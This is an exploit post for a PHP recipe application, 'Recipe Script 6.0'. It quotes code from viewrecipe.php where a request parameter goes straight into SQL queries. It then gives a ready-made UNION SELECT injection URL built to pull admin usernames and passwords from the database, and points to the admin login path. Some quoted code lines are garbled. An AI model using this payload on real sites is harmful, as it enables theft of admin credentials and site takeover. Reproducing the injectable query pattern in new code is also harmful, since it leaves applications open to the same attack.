================================================== ==============================
||
Recipe Script SQL-INJECTION
================================================== ==============================
Application: Recipe Script
------------
Version: 6.0
--------
Website: http://fivedollarscripts.com
--------
Demo: http://recipebag.com
-----
Date: 03-08-2008
-----
[ VULNERABLE CODE ]
viewrecipe.php
PHP код:
3: $sql="select * from recipe where recipeid=$recid";
4: $res=mysql_query($sql);it");
259: $result=mysql_query("select * from recipescomments where approved='Y' and recipeid=$recid");
260: if(mysql_num_rows($result))do it");
===>>> Exploit:
http://host/blabla-0 union select 1,2,concat(username,0x3a,password),4,5,6,7,8,9,1,2 ,3,4,5,6,7,8,9 from recipesadmin.php
// Admin Login - http:/host/admin2
Greetzz !!! Форб, с отцовством бро! :-)!!
Author: Corwin
-------
Contact: corwin88[dog]mail[dot]ru
--------